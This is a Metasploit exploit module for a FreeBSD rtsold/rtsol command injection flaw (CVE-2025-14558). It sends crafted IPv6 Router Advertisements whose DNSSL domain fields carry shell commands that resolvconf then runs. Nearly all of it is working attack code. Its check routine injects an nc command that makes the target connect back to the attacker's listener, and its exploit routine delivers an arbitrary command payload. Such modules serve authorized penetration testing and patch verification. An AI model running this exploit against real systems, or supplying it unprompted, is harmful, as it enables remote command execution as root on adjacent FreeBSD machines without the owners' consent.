📄 FreeBSD rtsold/rtsol DNSSL Command Injection

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Capture
      include Msf::Exploit::Remote::Ipv6
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FreeBSD rtsold/rtsol DNSSL Command Injection',
            'Description' => %q{
              This module exploits a command injection vulnerability (CVE-2025-14558)
              in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not
              validate the domain search list options provided in IPv6 Router
              Advertisement messages; the option body is passed to resolvconf(8)
              unmodified. resolvconf(8) is a shell script which does not validate
              its input. A lack of quoting means that shell commands passed as input
              to resolvconf(8) may be executed, enabling command injection via $()
              substitution in the DNSSL domain name fields.
    
              This exploit requires Layer 2 adjacency to the target (same network
              segment) and root privileges to send raw packets. Router advertisement
              messages are not routable and should be dropped by routers, so the
              attack does not cross network boundaries.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Lukas Johannes Möller',  # Metasploit module and PoC
              'Kevin Day'               # Vulnerability discovery
            ],
            'References' => [
              ['CVE', '2025-14558'],
              ['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
              ['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
            ],
            'Platform' => ['unix'],
            'Arch' => ARCH_CMD,
            'Privileged' => true,
            'Targets' => [
              [
                'FreeBSD (all versions before 13.5-RELEASE-p8 / 14.3-RELEASE-p7 / 15.0-RELEASE-p1)',
                {}
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-12-16',
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/generic'
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('INTERFACE', [true, 'The network interface to use for sending RA packets']),
            OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
            OptInt.new('DELAY', [true, 'Delay between packets in milliseconds', 1000])
          ]
        )
    
        deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')
      end
    
      def check
        check_pcaprub_loaded
    
        # Use unspecified address to select default outbound interface
        lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0')
        lport = datastore['LPORT'] || rand(44444..45444)
        service = nil
        client = nil
    
        begin
          service = Rex::Socket::TcpServer.create(
            'LocalHost' => lhost,
            'LocalPort' => lport,
            'SSL' => false,
            'Context' => {
              'Msf' => framework,
              'MsfExploit' => self
            }
          )
    
          vprint_status("Started check listener on #{lhost}:#{lport}")
    
          check_cmd = "nc -w 5 #{lhost} #{lport}"
          vprint_status("Sending RA packets with check payload: #{check_cmd}")
    
          send_ra_packets(check_cmd)
    
          vprint_status('Waiting for connection...')
    
          Timeout.timeout(10) do
            client = service.accept
            if client
              vprint_good("Connection received from #{client.peerhost}")
              return CheckCode::Vulnerable('Target connected back via encoded payload')
            end
          end
        rescue Timeout::Error
          return CheckCode::Safe('No connection received within timeout')
        rescue RuntimeError => e
          return CheckCode::Unknown("Pcaprub error: #{e}")
        rescue StandardError => e
          return CheckCode::Unknown("Error during check: #{e.class} - #{e}")
        ensure
          client.close if client
          service.close if service
        end
    
        CheckCode::Safe('The rtsold did not respond, target might not be vulnerable')
      end
    
      def send_ra_packets(cmd)
        interface = datastore['INTERFACE']
        count = datastore['COUNT']
        delay_ms = datastore['DELAY']
    
        begin
          smac = get_mac(interface)
        rescue StandardError => e
          fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}")
        end
    
        begin
          open_pcap('INTERFACE' => interface, 'ARPCAP' => false)
        rescue StandardError => e
          fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}")
        end
    
        begin
          pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address('INTERFACE' => interface))
          count.times do |i|
            inject(pkt.to_s)
            Rex.sleep(delay_ms / 1000.0) if i < count - 1
          end
        ensure
          close_pcap
        end
      end
    
      def exploit
        check_pcaprub_loaded
    
        print_status("Sending #{datastore['COUNT']} Router Advertisement(s) with DNSSL payload...")
        send_ra_packets(payload.encoded)
        print_good('Router Advertisement(s) sent successfully')
      end
    end